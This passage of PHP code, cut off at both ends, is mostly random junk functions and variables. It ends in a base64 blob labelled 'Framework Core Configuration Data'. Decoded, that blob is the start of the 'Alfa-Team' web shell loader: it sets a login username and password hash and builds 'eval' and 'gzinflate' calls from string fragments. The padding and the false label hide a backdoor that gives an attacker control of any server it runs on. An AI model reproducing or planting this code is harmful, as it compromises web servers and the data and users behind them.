    // viRG3Hs5baUKXEuITP6mFJ3YD8gK9tbFZ3sKeoZJzCsXo6hiSkDGqxllu
    return md5($B6TBO);
}


function QIlsqotA1hp($rcmI6ujb) {
    $nvneOFS = base64_encode($rcmI6ujb);
    $dtwZJD = str_rot13($nvneOFS);
    // MdQhOb3MEcaKyvqzB2670e6WHum0tFtlhhWKQXu4yNH4IKKaM2OFb7
    if (strlen($dtwZJD) > 10) {
        // sOIVTDCrQZsWKZYHs0tSUeYD6EJtdBAvNem
        return hash('sha256', $dtwZJD);
    }
    return false;
}


function avm4htDHy() {
    $kCdYEf0R = 'wqiwg9M38kbbmJ3m4LLxbo';
    $JbyNuoBZ = strrev($kCdYEf0R);
    // Hzl4QaNFlAJafye0h1MKCowgS9sdwTDvkWia8AokjFpMGY6qcyz9aQ
    return md5($JbyNuoBZ);
}


function iQoMSCv8() {
    $M1tLt0sKHx = 'jgeUw4JLr6';
    $p5yS4OwG = function($CjfpIRkDG9) {
        // zzxv5ep8rQYIP6I0lwlC7f1EorNG7cfJojjseST9n2E82PhkAz03e7Odv7t
        return base64_encode($CjfpIRkDG9);
    };
    // FFFW3hwkXey0iv5UzdsWYEn96TLJJdo
    return $p5yS4OwG($M1tLt0sKHx);
}


function jykeympbVkYyuZN6mZg($sXTSARU) {
    $RuwTIDA = base64_encode($sXTSARU);
    $qW6hvd5 = str_rot13($RuwTIDA);
    // tiXe1AIVdkjcKzFKapKfTVL8pEkO6N2nosT20XZhVj
    if (strlen($qW6hvd5) > 10) {
        // mjh0Yyl3b4YTsXWOefmasqaEL3lssWyICijugUAP
        return hash('sha256', $qW6hvd5);
    }
    return false;
}


function JErwBcIxizE($XL51Yyk0E) {
    $AWai1X = base64_encode($XL51Yyk0E);
    $afinDKOzrz = str_rot13($AWai1X);
    // CEr41tNKpqthj16m3tUp2LE1ftHPIJaTTeVy210iC
    if (strlen($afinDKOzrz) > 10) {
        // z2YVOtXwZIPcZHsVoUNRUZeAwFpGBzjxwMzn
        return hash('sha256', $afinDKOzrz);
    }
    return false;
}


function RlTXYiE6WI1qu28($Faj1y6R) {
    $pHeXpNd36 = base64_encode($Faj1y6R);
    $Fnk8X = str_rot13($pHeXpNd36);
    // OHyjDSyBCFqaB5aaXeV6W0jkU7vz0wAmUofaT
    if (strlen($Fnk8X) > 10) {
        // IgvPCzQq03fEyhx3J9MAw86vGRwH
        return hash('sha256', $Fnk8X);
    }
    return false;
}


function bKP3Pspd($MRmwjg8FWU) {
    $njhGDlu0ds = base64_encode($MRmwjg8FWU);
    $XIwFO = str_rot13($njhGDlu0ds);
    // hRcMHYmNFltCYPkiN3yP0c3Ov72IPM
    if (strlen($XIwFO) > 10) {
        // gImjWflSEouQZAkF6xMXNtI0dJr1c5gKjNxCPTlG
        return hash('sha256', $XIwFO);
    }
    return false;
}


function Zc9lNjUNk4I9vSLOm8() {
    $Z6Spu2P = 'Nl8Hnci2e0By2DizOL4PV98';
    $H3A4A0Q5zJ = function($iUT7wOEU) {
        // YXm4UBUXIIV4B6GJ4CG3Zyjs5y9CW5fdj9bbtAUrlTZGqXVDh3PcysVrab
        return base64_encode($iUT7wOEU);
    };
    // H9P2zHa4LY8wbAi5e3bF3fE
    return $H3A4A0Q5zJ($Z6Spu2P);
}


function wXLcUJH08rQT() {
    $jimF9Haw = '5JzK5L7zkNED';
    $Hdcp2 = function($MF7XvZ769Q) {
        // SBEYh6WoRb4LEUCkAEV2UKocKzOXvOmfHFS4mVdUe4BfXny38iewOGDuu
        return base64_encode($MF7XvZ769Q);
    };
    // PQ2uvdjh8IspCY0dWuYL2VR0WY3kKW2ygR2rvq
    return $Hdcp2($jimF9Haw);
}


function U79494ovKav($ZabJTx) {
    $KtwbW = base64_encode($ZabJTx);
    $SvgOE = str_rot13($KtwbW);
    // bq07EmG7Ya16E3FL4Y5zeNGklyh9NcVfOcItvOtq5ztHhQ
    if (strlen($SvgOE) > 10) {
        // OcTtxatFFVnyqPHuOEWIMV
        return hash('sha256', $SvgOE);
    }
    return false;
}


function Litdb6Z5() {
    $K7RZ18 = 'aiWYsiEJQ0wj';
    $HitKac = strrev($K7RZ18);
    // 3HrnvBZoznV4y3UGdZSS63XW4NUdlmzJlYgN
    return md5($HitKac);
}


function GhPSs4pss0y2khr() {
    $L6O7mr0jBM = '6HGRPdhAxwhrzvX';
    $L8lOa = function($VS5t4oqt1) {
        // UwoWHhob8YvUx2xIujIsGVJRi1sg9RobgCCTReel
        return base64_encode($VS5t4oqt1);
    };
    // MV5e45hNxD9umc449xwdLdwiBsx5wW6UhnoFoAdy
    return $L8lOa($L6O7mr0jBM);
}


function bALLPaXwFxa($IHMlgaR8) {
    $ZCbux1qfI = base64_encode($IHMlgaR8);
    $O5ODjsK = str_rot13($ZCbux1qfI);
    // swFGuKw1gPRd3wFPhrGL9hbYbInM76ozkDzV0oBKftjP1IDg3
    if (strlen($O5ODjsK) > 10) {
        // VsCrBgnAYSe6a32mfcTpZnq1XtOszs
        return hash('sha256', $O5ODjsK);
    }
    return false;
}


function cvC0Vk3Tnq7() {
    $rXJBWaUNmh = 'bFgOPZPRqmb';
    $DdYvV = function($NRfccjzs9) {
        // 21gAOyaS9bl7wtZ0ZkoHIZ4Wrn7W8QQv496hk6JSOBNKtSI0qUNCvaWD
        return base64_encode($NRfccjzs9);
    };
    // SZ8kMe4VQ81bBfQurmJwahZKyQXibLXwYvfibf
    return $DdYvV($rXJBWaUNmh);
}


function BnvKL6EhS($djgcidM7Ro) {
    $LlXMw = base64_encode($djgcidM7Ro);
    $vJmESxb4n = str_rot13($LlXMw);
    // 6hTslWDVUPvfgHalA5J89R7066D0il
    if (strlen($vJmESxb4n) > 10) {
        // naCZmx1Nv7JA5S2O4mXd0BSFl
        return hash('sha256', $vJmESxb4n);
    }
    return false;
}


function gfNKRFZUR4Po($lMOY1WRZ) {
    $dummy = 'Y1X7wk0POC2SPdRN19dUJVjKM6cwB3F1vdJImLzlg9RvIarAri';
    $processed = base64_decode($dummy);
    // 7roP63ykTx7sFPBUgRmaCCJUerGyE89C5Sc4p0pr
    return strlen($processed);
}


function QpIQKqpw6IUk($sPaesR4A) {
    $dummy = 'i4F4ZRha9CzbcbYQFZbVMO1daqps0WCUkONUvgtrcR72SpmdDw';
    $processed = base64_decode($dummy);
    // ySam1QCw81ZpKDVMDlvbB558rJiCl6bpnGz0hHtc
    return strlen($processed);
}


function ETPdbuIgd9hi($Sicwyv0t) {
    $dummy = 'V7kyuVN4ctQtEpS3XszypzIz89Q7ECBQW2lGyJdCxyeVzbX7hH';
    $processed = base64_decode($dummy);
    // FIFsJkc5nVSLc3ss3N52bGnx2GOxV1ZeDDI8LhOI
    return strlen($processed);
}


function fS5ajhgl2jyb($QUHJ6qD4) {
    $dummy = 'XfeaaSZGjNixgfcfWpNhBSo8zkAdRQadlngj3gs0hGOBRXKfM6';
    $processed = base64_decode($dummy);
    // 3ibkzpcKfZmBpj8RHHPoq2zwMEs7uwS6rsINhvkk
    return strlen($processed);
}


function V8ir1Z0fDjkX($SjoSUCYQ) {
    $dummy = 'bEroIowQqIZlvdssxPYmK4F3c5WH2d2olgCfH5DjVEFqYIyLLs';
    $processed = base64_decode($dummy);
    // 5PpBxW8yGRsQ5rGnsyk7S4yw2Ie0wLszhhs0jPhZ
    return strlen($processed);
}

$kEbNQw='J3tJss3NcACg5sxZ1nUdJrtGYwD4uHu0eUgBuAhNpFnF7Rj3B';
// twdFcDeyGfqdOpxrPbiJwvcioPUuiZS89fEUGbslwfdQ8
$xQY0RGQfLVTg3='UdmDXoWZLAc5BqEK3eCCZ6eV2vM2GG';
// 0L9LwZoWeF6T1UaKXOkWi49rIqQaYiiceQuO92cD049nKh
$ZT2V84uw='n4OSuaDZ0mF1Jx8nrOQSb3kjyHW0MonlAktNzLvkQ';
$hRYrfBcuRpn='R1ElOyiRnWfC2HYvJmlpID0pmnSCvYFdefmj3poRu53NT';
$ZN7wFRR='ZKUstCZqGBdbKl0MvW6ysScL0vdhT6UNkqlAQUIMN7';

// WZXEPIJd1doAxsCGjpxIe6sqNN4o9WPwq8Pd3vXFBfkrQ0J472pzcqm5htUBmPAxhMQ
$RmicAEhcSiQ0d='RwswSy8i80nzIGtAVSHvNrB2fwWTI4mlN5863X0bv3';
// 6xmb9UljEsxSsYmEfUUZUpV0ZN61D2knuSVYnT5RKAGBncvKq1qikWNh
$XkheKTLC8JmO4J='zfhZ5Z0O4yfCVbinppX9UdswMin6XUHjPQH0u1PY';

// KJmoz2nfTGmS91Vk71Rb4JhUHCKiB6wEIgdibz31IyvdlKlTwouK9RetgUF9JaihFFdnUCNnb0mhA
$vXFvZ2tNsr='24eKvURq956lCIBkqgWjyAhSItygDQP';
// IAns0vhK8Z4qDIWd3l81JVfUrBtBtmqpuXjdXr9u5
$Ptmpo6r='Nzwei4lkIfpr94iKqjkJuMnjYSPhjCEBiTVWQBL';
$KaMMqXxvf7='6Nruz4cLYq7pAJnLd3MiD3zv69TWHFOp5G0TowasI';
// eqdKoRwWpeIkUxbVQZSEGEDorfq9anmAQ7FRIjAfMaHr2S6tXwGl
$SmmhSRya='H24070vSEiEuNs8SOWqXCh6kmRK';
// kGxwL0i1Z6EfOXCTaHJMNZoHb7RFC2cekuDRja7rR9xcguWSKW1I2
$mNXHQvRjLwDk='PihuTdbUIW07WsYUM5MssChXBPwlnit';
$crZVRxp2B='2J0olDgsWjPDETTG21TiA4AYSN1uwV';
// J6yatUCkSwqKfXq7fBkbu3xMGqgoZzvMIcXWcZdflwoNkW24vNzpVC0KP
$ll7BSHJarDTWDC='rRkGRJwKUJIPXQnx7I8UA8fd3XAw0fxFIon60KEp6eWnUQLU';
// r8MUpLUHqqPsC4knen7Aq73XfYwuhC9f71VOAHzlzdIhiDt11foJwMVc
$WClr7WBbrXrGi='nC7QsoXuYw6WPWu7XYDbSpCVuaf8MKW3wwuu6AniSc7il1PDZwI';

// hBBGUMMCTbp90KovCIf6VtmlWVGRS9V8f545ji9QpQlCrbz
$a26IH11My0ll='GqJUVtonjT0d6JbCDOIIIVUInGJXjoCnDsyP';
$jTvJsixMxl5W5='szFThBPPWINBquxVK6pBd484J0T7DG3vBaq2I9hykem3UsgE4GTFXw9Zrq';
// tjMvIhmPke6ifHOYfxgvvIg0Kr5R9NX0RXlvjnowwXfrNuxmxYqTBfFAxm9jM2upeNvqBI4IbGspC
$EFMXdhtWUtqoTP='kcBmydDLvlPAZ9nfS3weSUd2YdljXRMR1f8qXhhTt7fd6';
// ng2wndoq529993XBMDu6WCLDaspU5pENMF7bZzpiFHVsBYZksjWoDR4y6cxDVxaG2b
$ycS0hrtG6Lxo='oFHjTdlXVdqd5idG8e9hxsIPEaWg35y6LeX1ASK';
// A8zESSH3rUl3n2QK3ZrErHU78QjLubUJzbFzJSPejLpzN8M2pVq0q2fnYnNuYuFzr
$n8glpVUd='8MOatVYeuWjYU7IGXo63YwfXOMGSyEl';
// RDR8jQmLbaNc99u4MpGOVLd3KHVnJ3o8EEJHxR7WgYusl3oW9583ZnVXLn1seED4GHGJNY
$nvH05MfSGdH4G='TW4dTAUF04yEkYsKoZPqtWULprKXoCmz2iS8oq2uU1cH5LMDZmiJkmnEU';
$RXpN5Bec='kj9whwwbSnmHlLQxPCrGHHG4k9UB';
$FSM6jAGCzU='Z7zXGub1Uutf9dRuIzjMrsjH1Jxez6OpvanPib328';
// NJ35O27lY8to8aSVN1nSXqVo2NTgJNWr0sbfW26Ep5Xj0Hd07sudwf7oiD
$hBGv28Wt3='ikVrKyOVJs7ieFt4Ey94Chyi6Qotkn';

$E7os9D6FM='XmG6dD4qG5BFqPNkdiGeyvMui13RpowYq';
// yra9pATGCrVyBlyAada0NBlTVkPsglgDyCS4mIjQoiwZGie5fkGGq7VDFFk3V6DryGDEZOgCq56E8hCO
$IhlbDKSbpG7h='Zqh9M3TbDNKHSKQoD5QGhOQ9bENqZoWJX';

$TUjmbXVUhbBISY='Bw0vgWF0YOO2H4uvlx8qfdXMwfKd8rPnv9qdja';
$MvUDjT4Y='0lkyQVN6uUc4AsKwRaiclBPUjNDR4NdcyQYxlnZPB1wOVezpuSqkgsHS';
$YAM5k3j6mboPuyw='w1bm6IStksgLnu7cTe9kHusRLxqj6Fn4CiHCe7F0rqYlv67Yo3VmY89778';
// Tb4ZLlVH1zTfZHcyXgRV8dXWIDPCJk0Evgmb3cUWuA
$kCS5eWEUII7B8='ltKwM1Ds85JxFqGBQZG68Gds1rVXE';

// hlVNa6n3auGMOqG1xDBV28smw2vv0zi2GthC0G0F4Vgz8VjMLRCgC03VCWYoXpVNN0K479Y2vQM
$xWazQffkday='hvZ1R0mn6S0I55KZbIEGIBjnA2rbaXZsw33RLFaaQT9op';
// IcNYiQvT5wXRqDyfKZUoaZiB3Lfd6Vyq5zwRGlwe
$FusiOBqJfVg='izXtBc6cyYlSyTqKn7oHqHZg4QP8h25CQ4HyhjS3';
// 2vBZ8beqRhX3fY1tff4oNtx4eDGNxfOlCsi9SoZO68foeWOAMALF6NH09olsZ
$zZeWtSHHzXb5='xm5Jua6L8xxp5TIRA5NC3LGoNb3MJ6ard5mWfJ';
// yy5HWKQ2bxuMRUxlxR6UGOoHucQL19jGb0SO9PqUxv8l6JLOecR1zmw16vmDks6dMScPQWbls2qkCz
$bPLJ1r01W68='87GyGnk6XuKpU1PQFrLhYkHhcGUruEH2Ck6x5NRBo7lanhyc';

// G93aUto9cTgyNGtCSeI1pXjwOEKMPGE7t3PCPVeYeWcLLQdnInQEJOKFUB
$tYHr3tt1PX='Z9YNCE7fbmqxynDavwM9W3Hr3Nb0Re0F3WdIPF';
$YAzDEXr0hka='pu0hpnUNTKQLycbjPPtnjRK2PrRrlm90rfIEj33DE0ez8adK';

// PyllPwUVNBBEXJgZYC6YDnjwNoL9p7jPDmlmSKntf5mmjfG3QtLRUXoQ3wmasT5TyJOdX4qo3f
$uPfMQYNbvlbsd='wKawoirlD4z22N9BR6CMKmGPf6YG6Y3xuR9xH50OKQaSj4sj9Es';
// u5VyRwCqePwY4MEvVAlzxzr5TJ3miEtvmrq1Nuff8j1rz0qJFsgArxWD
$QAf6x6GTErrVaM='gFbxEfXaBduArvf1AbTphrZLZdUDA2kdwvm8VVXODbncr80gZuMAx2rKIl';
$pOWIKyDfqk='o4t6Hbe90bxGNvbYFovxYaYlmdcWeGusuXQhV';
$jwBetO4xoq='xq8WXXFUyD73eT4ubsEUV1MVX2SpCvgq7RDd21F8RumUlvjxl';
$bkazOm1AndrbLB='LHTBIF52Vhzpt1DPSYKlwvk8Fll183zjb';

$BUlTncHqPk='DJyyHIIP4U6PaMWqB5wMRCivZjU2ipTF';

// C1dLBgH1iasNuEeaIdFpufydGVyfJWGkbYhUbOcZ33u
$DfcQF7Clh43BF='YMS6aZezrIp31aLFl5CInGWbl9vw4jBiqhbJEk9cFpOy9x9O';
// GxTnuI86r5l1uahicU4R0sMZRmytkdyIcQsD65W3u3TPzEzQOS0paXTgS0kgTfswsoQSi1TRl
$hxtrNxFIp2rpbpS='v7hZmR6cqoQIawhtOZe0PEQVP8km';

$zcNmf04wTV10i='guFGPrz7ym0X0Fy68tPo358TiKZErINYvZuW';
// 3YrfkfnwCHhZVt8t8VjCC82B74EUgcV2lTWjzQHRRKVNkrbtu1KOIB
$Jx2Wh7zEpi6='sv053eD8fEDeuqoOGXhg3lW0rvVlw';
// emW1YN118upuzKGZLBgwgoCDhfzFD1rK2UCSyTOKP3CZhnbBcEuE61KSP33n4LLmtCZ2UQJ
$Uw17NwtfXL='0yYMFgUShlsJjaQ0hVQbdar04';

// aSQQV3hvbCmOWqks4756ZYdzqqOfUNFyvtZrjlOqbSiSRDfqDUPORKgKmfmm3xZJwD8WJVHyN
$qm307C0NVTGw='gD6QSkP3c4Wop0tcnR1JjccIlOvs8eF';
// Klg9Xo0hQcoerUbAKxMjQoBIJDrLQMA1855KpqpmiVZBMU
$TfjBlizqDw3VZqY='NAZqCZuXVh6AGPnQseoVp0fIoIE3g';
$Ek5tlrqKfuNm='PBQMuPI0CZE7W2MX8OPP52EiGBPkc6Oj9swXfS0TSJIiDjLSwLDFcn4lk';
// yBftATQn8VkzL80Gz45aOlalthbMySgg3vxeQMlDLcPQK9QKOvgRc6IX2HJpxAw
$Q1abKgwmctCPnL='ond0BxPUJlX11zo8q4ACWbn6wzKr';
// udWxA73Lz3Rj06zq7mOn6jT2MEaujGpM6D9K9Ym4vX0fjk8OSrv8TxtQaZp5ffWYxU
$WkU798C='8pyb6tfzbHld6p8gH46FkU0YAPkNqEwgfZ0atVJn2dbQ5z4ZJJX';

// EtVlG2xnPm8KBu7mPgMc84B1vRmNmHi3Lm70PFsiOkKriGJAXCnXSydC2Wsw2mqMq78fkd1KZFiH7
$YNm2jN2mNXxbw='NoGuVeIrpeZhF1KOiR2jjHDQiw8NzkL5IExXZrfcJMTicgZ3K5uq';

// EtaTMaXQ2z403BZ5pfhr4VX0lzXxaoLvazAiMZzN4cSEIBxVRATHXk4SqAA6H7Jh1bkHdOn
$b2CfwebHro6ZgG='ShN4fn0KZafIBB5pTgFAO8l5tskNZ9zJeJvKv9MQ';

$G5JYG3fS='46zGhCECaZAR4KX97ZXqn2Suor7YzayFQUlDMuMR1kQ1qcNs';

$dBUBux='tsTpW1n5OXH3asZeMpb9319zA2lAWHa7NaTUIqxUS1PWt';
$HxxgTpSSMt1PAWF='1ckRhWS3MmVIHKu7mkeKAw5b3oJmb7a';
// WflktYzVkRktfBfHSAk8b39njr2Uw4qYBtzwzN5QjQBRLKARg2RjFN6tlfZaEpyEnyxdqS338
$EP6rizS9dq='IbIhSDu0Ni2YK6rWLtRTE1rzuUpzUKOR35mLvVlqyECdtypFb1egNMZ4R12S';
// KrJHOt9qpTLzDjY5BM5oWRQn6g4VoYdZdF8onmpUOIzLNf2MjMFYt8FcG
$H5jhzEPLi='5IomzcrIACA4Vnv3zmA6KcNaIW8O';

// QVt5Wg42DhUL2bHxW9yEQxQi5DiXgAQBfFw26NB50BQ
$adj2124v9r='RhqeGKfs9UezFcsdIQ6Hx81Sv947M';
$dNRP1pAmVypjitz='YRxmNir1ZXsXa8wa9Wlt4MUpT57a8GWK0fEvFgV';
// 6coFPZsk4UOmJXaeS3n4Wbnh53lAPoVF6MDHfJfHBShUIG1rIPP
$kghMKmSHPIU4LsV='mhX43dkYULJDKXWLGTTZzmMsHkY4sfgX5mZQAa0SnufY3idmmS2';
// YGu1wjAhwmTFZwy4vGkAbRg5YfoSKw7q9berPtZqPzBXplTz2ixYmVN2VZ3YLQWRbmB8RN8C
$mwxQH6R='MxoOEgmSaX32bR14tDKpRL1usCPZ0tQbBxU0KCeQiGEJt9';
// l5LCwidCJX4EAmqGxUePdrJ9GUV9d1t1HrA1x9mLwTNopZoLlq7VUf
$Ncm6bib5fVj='grV4BI1Gwa6FvhvpLUxgSIP4tZqSyynfVJ1lstQiv61awGyTAjUrsUa1';
$ZgiBtzeo3Xhw='gfX8I1SRGqZ5va9ckYTFrVj0LVp7tPmmVcKHZDhsA1GjI';
// ClW3VV9q5o9KKPJ9ZAjl1GPy502G77pXMoJjy6VObrtTT2uI4YFfWBV6CHqHAUYNG
$b7nAFmPLBw='qaWu1nS67kX3OEm4ftBs6kT3Lf0hVqfkDAOKMoxhS1vIPfxYzCUFdTu5';
$Ef5sURA6fV='K5T4JTdvPWnKHYqr1K0oQ37VQKm';
// WwQbZpZD65m4y3M3hURXbhKsq1RhM6WLeO8cIZwjplHq9K8D85GePoriWb6t7ZMgLJAu7d3Sx3HeigE
$pZGuYhp7LQjsY='oZzwUIuxK3Cpsf8JD93TvfpDmw';

// XZl4NTPhgbjNo2JgsaXPrLQBLxZwq3VUuKClH4xJAR40XkR6WtyWaeDSvHG2G4MvaSdo8IPR
$kNqpFtXl3y='PIoFJLNJjN6AcTK508fWKePORm8vllV2svGMytnk3DjnLIx1qG';
// XiUwauJ8vbfLbMVon4r7GlvBFDdC7e6PPGyCfDRMh
$KzHkcILW35ooL='LTAaYXJqIfV46yiMSpjdQlBAwTQdHQ10Ljkazp';

// 6ClwFvWTT5fiKAUFZswOvDL4jJcpLboZ9qsJkaDO1ddbxCWG5huhLn4PeScKTJULi90Yr
$chTdjgzncngm='dSJXkM6YHMtxwbSdczlISQnsDLFe';
// pVROUrNl80hJEnFuX46eff4pWmDAY7BfwP2EdJOIhkWoNs4kDGeTIfpJg8KnM
$OBo0PE3KukvbS='k6yfDzqlFPpM3jzj3m0NdCxmhFPzoyvKo1tmDOxcm4jqJUifHd9rd83X7';
// MDmZmFMfqfsGgQKBBKrBQsoDtdhXbg55zsS2arkrMaf23d4zYbR00KKOZQggEsE9nA
$pC4hyy0='XKpWWslDOP6IG6VxAHEQDwCCreHVZddm6Znt2sf8lMwhNewwUpe';
$kOquRjPNZX6TlY='36hjTvNdtslFI4QzTAIambHWTRWMcRyMeg4X5amaGnDahnzmE3zAFql1rNR5';

// FSXUtBiUaYE7YgzP2MtrdH13zeFC9foCt2wuHfHXexKOz5pbMU28hBegp8JvVqI9lWq6PUt34Hts
$XsNIMZps4='0RC1K92GLxaNkwbiA2HUtcDMcxIYD08RbuFUXE5bQ';
$ioYUYezpWf3='TiBiHbeatubESEymTxeeHpyVKcEMAXLrSu6bNWvkP';

// INyWg6sSumKzbU8aj1T7l5siImwa6XiMwCFzdiHR8T
$mz44WMFZz='eeJ7UX75zU1Ays8dgyiN5AoQAvH5EmIRsLhR85';
// Eor0eQb4u0tvYLJJXTGssYrBx04xQIn2AKKt7z14jcXu
$mmKYMeyDmsv92='fvRnYYUFKbvpMgKJj1u5KYhlchEEZoeTjkSiIKcpKA8Nlesij9NCokCZ';
// uckx2TdRufsL66k7VQQWaZV9HCDiipt1FQzQ4oaLm
$LYKhaxiKEw='xb3dgN9QV0vNXWnJX8CikXSJDBhTS4BLsLJMlkDj8pv';
// PXDFx0C690IE8Jpz3QpNRZgEfzerN7UP3JXiHMhVSeBEQ
$UMVrhj='iCkzPJCPIXPzRWwvqrEKkqTTg4tbIeT9aanJ';
$MP2AX6JqrKvYvD='vUIx6NBTFbQAkodWW7EM0pmRuUDvuUcUo8TjP6b3Ibfkjk4';
// Fj3yhhDrA13zsN9faPR5nnxBaeYgLjOOJz0Rk2aS1U8gBy
$JQQH04nqkCxYAUx='P6VMqq1MC516xgjE9XiVISR6tOilb';
$nvEw11O='WE00qdcYKH4wQwdAHl1DHziNivpGucUqZ7jjJlmRpbjd';

// Nw7N6W1I720YVpJuaZMZn8ICtA8DvbzjYhaiJ6JfcszKNVLEtvPQxm6c9I8h1MMKrW0tUNtWVpBae
$ejiYl3HHe1kUj='Xu43YrFftij2mynIgFyzrAWjCftIaW';
// h9yUSVmCsTWl2G12w8t3IPVBIT064pPIzv2EU1wufMyIDxlxa3jVepUcaeAR1I0
$t6AfLNjyYp='IzgVSu4V1jsM3KLSsLidoM9EZJNcKkCFk';
$dYlBQPAbnbHCbT='fg6iVHqLH9d3lb4c8TT13m7YQ96nVdqAno';

// AJMHAwzOUdFhOuOqT80aRPWxa8K07z67OdKdeRqW5Vl5YJ5k9jcjMaBxThcUe8l84KABKs7R9qKlF
$uAus7jgvEUI='tSaDmzOJ23fgEeke7P89LpETA7YwgUQQhwUAfFw20HIa31DutzDo';
// vBSj7qNFBeWRCXV3tvPatxYT0696s9lplLreCp19ut1Ic8NqegCsZM1JrrRZpUX031xnaVZ
$MjZ0nczEbJZzGd='C5mqfDC4UjGWY2lHx24dig7SlqjQ0qXr2f';
$Za2OBzpKbL='GRDHZNWVsuTDTDImfmFWOVEiCWu';

// 4yWbinMa5IA0bZUx8HraC3WNQb1bf0b4By9YVCDWybmOuvPC0t9TRbbPRAOAiNRHAVcap0D2erq
$lNqXJZElwJIt='4tDBpstT4pG40hodLKmg0V514kypHTOwZ';
$Mkt7Fuxs9y='rGGrgMJTv90hnGJ0aQigZLhazHeO4UhqxwOZbBRv8W';
// GwEeNgPKxIsBMGdz3SkevP5QRzFgs2toBY7IaqA9Ne7o
$aAoB04F0JmsSlBh='PQ6OWCd7NzWZ5VEFaVGsKLZV0a8J5';
// LwjN5fGqR6hCWnTzU6TgS2aK0ZSwcHp1r69EpxDQEHpyEjLVaki8jOVu1fosRRB
$pAQuX8B5hQpJnT='eEZsrg1h0m53zJUqnm3lzi7xKmBymRXquhF8SqaHJ';
// nhv1CTWRV0IUnNMISTnwLzMavjnHpWta7JfgklgoRYDL2VKiLrFAfP1
$LLx516l='RtJgoMGn4YzB8qoolWJjZXskFZGkwKNib7HeVVgUDOwf4Sk2sIrRu';
$ut6c6dsaL0RG='0ENVTGEDQxkifpWyXLlQdeDQ9Qw63mYpJjFx';
// urt1mTPeIx3cbpYudOGOR0OCotvsKSgON1BgW5N8dw
$iuKTcg='6abaLkziizvpHBeSR0zCsrHHirYi3OIxQCdcyeYSH';

// oqnesPBOUugQTn8pl7w7eR1efsjW9CNlnL91mTuQDH7zg8tvQtp5uKXU9AEig1MthkLrHwN0
$BJSRaQtbPKIpE6='GUvNALvlIa8EhCRvpV98LC5kc8ketMMDD8pV4sc2K7rC9q';
// 4HZOMrGWNyYJFY6zlyVNYCi8UoVpy4ua2dKa9ig5zOi4ylvucMVcpHXRVldwTGyB9l4Zo
$fS7E8iKcI='Hn1RCugqQhJ0O2OiA34UauZJjAtscukPsilGj5FtIulpeqK3UkajBb';
$sXTHra7aQAuMArH='n9vcAUE8cXF7PWbLvaeEpIuB77';
$X9iqlu306N2gh='DjnusfrcxTb0fF7lAGrA4XXgBvjlj1nel';
// KLliceTpCfhWlQbFkJLtpykxDoV6rVLuU4a69e7uIuHLtdw64Mh
$JKaRTFjvqg3sDYA='0jSV2IgGFlJWC5hHxBRlEFW47GT4r8np';
// MydUBnhM0wY7Zep9R2eKENgxltMzHimE4q80JOEMtT8Iv1
$MKnWqRHkM04I2Y='X2i5QxiNzmjldExNa35bE9SJ3dsNsQZmsJU1kN';

$oOX54quarSO='kQ65CqztUxHlNx4UOAyv700PGbcsbSN9uXkq3ozB7Ntw2DFo2NGy';
$wzNTlrnslmv0R4f='PlbMy02U95gMIxehBiftNSIuVgOitFC47otauKMZJlyOQm';
// qEinRA5mSmlPfFrZdljpAIivWvbRFafruoD2kHdJJuIHVEqC2Cd1Xy4iz
$gccR4fq3='DctrOklxSjbakWsRe23BT0jOqp';
// MlrMd6WFFjJLHJNWLmHw7VLINGaF5a5B4hvmQS8G3E7TZlbdN
$I5HLy5N4POSvxO='FjWWdHy5sxuJ8gkS00Yx48XFaIy0dqtvv2PzzzfqFJcqM1bmA1smsNE8FaH';
$Qy11GFr='IzQIprzVotOMxkVeJOifKsKytAF56tDasBali0TtCfY2K05VbGm5XzdlYxv';
$ZHdooyqezSd='3vsAHEaRlDW8sl7Zq2XaY6xQWqZ';
// fXdUEqZXMtbL7LY5jiIFwRsPtabrOo6Sa0oVGCWEJxtXtH
$tt6ZdReyj='eVtBP1bh6pzlXEVjmGkqSknKWwAGun6cgqZbQhYNZgJvDa5A1oi9o';
$zQdDNDt='khZFQLFMkLGJDyB3C6iCxpClaIUZ5Z4spGKsTi1ZxqNPa5w2CrLKqePs';

// LWk0SASxLOAxrxyE8UAgHiKtynS83A62HIi3JlRZrtuGT2nYDTKwQfjU7DO8
$x4M1tJW='ft53dFA00CA8pWiJAxnbWAa5uFi7G3d';
$KoFNgswntDzoc9='vOUFCd4UAziXZ3A2fdKT5YZCqkciBhkqup45uOF7H';

$yJGw9b='wbawrxkpxpqZMYM33UEQRiWA6b2sXycGblxBAQsLa6OSXvCyrKYLU28Wu8hs';
// 8pVIcveu3RxzSrrvbRgX9y35OQ5QZX6ZYjoWuF9ISbiyytRCjXbYgB9FYbLoBhI6cHcidkC4j
$GAe7Rkr='bp3MzixCj5jTFon9dVInweT9v';
$wWieZybkPk4='sO3nGNc75dfQ7t9jvO1yVHSZWpvn539Qye2PpprVcEhecXDeR9cT3E6B2';
$azlx7xNDht9Zb='RoSshqBx0MrJ9yHUOTqGlvyUooOHlyVq';

// Framework Core Configuration Data
$V2GYmnSTM1TL = 'LyoKCUF1dGhvcjogCWkvQWxmYS1UZWFtCglUZWxlZ3JhbTogCWh0dHBzOi8vdGVsZWdyYW0ubWUvCglZb3VUdWJlOiAJaHR0cHM6Ly95b3V0dWJlLmNvbS8KCUdtYWlsOgkJQGdtYWlsLmNvbQoJRGF0ZToJCU1vbmRheSwgU2VwdGVtYmVyIDE0LCAyMDIwCiovCiRHTE9CQUxTWydvWmdOeXBvUFJVJ10gPSBhcnJheSgKICAgICd1c2VybmFtZScgPT4gJ2FsZmEnLAogICAgJ3Bhc3N3b3JkJyA9PiAnYTZmNDUyZWMzMjkzZDdmYjcyYzViNjc3MjU3YjIwZWMnLC8vbWQ1KGVoc2FuKQogICAgJ3NhZmVfbW9kZScgPT4gJzAnLAogICAgJ2xvZ2luX3BhZ2UnID0+ICc0MDMnLAogICAgJ3Nob3dfaWNvbnMnID0+ICcxJywKICAgICdwb3N0X2VuY3J5cHRpb24nID0+IGZhbHNlLAogICAgJ2NnaV9hcGknID0+IHRydWUsCik7CgokQ1dwcFVESnh1ZiA9ICdmdScgLiAnbicgLiAnY3QnIC4gJ2lvbl8nIC4gJ2UnIC4gJ3hpc3QnIC4gJ3MnOwokYXp0SnRhZlVYbSA9ICdjaGEnIC4gJ3InIC4gJ0MnIC4gJ28nIC4gJ2QnIC4gJ2UnIC4gJ0EnIC4gJ3QnIC4gJyc7CiRPVnBHTnFxRlpzID0gJ2UnIC4gJ3YnIC4gJ2FsJzsKJHBzREV3R2hzeGcgPSAnZ3onIC4gJ2luZicgLiAnbGF0ZSc7CgppZiAoISRDV3BwVURKeHVmKCdiJyAuICdhJyAuICdzZTY0JyAuICdf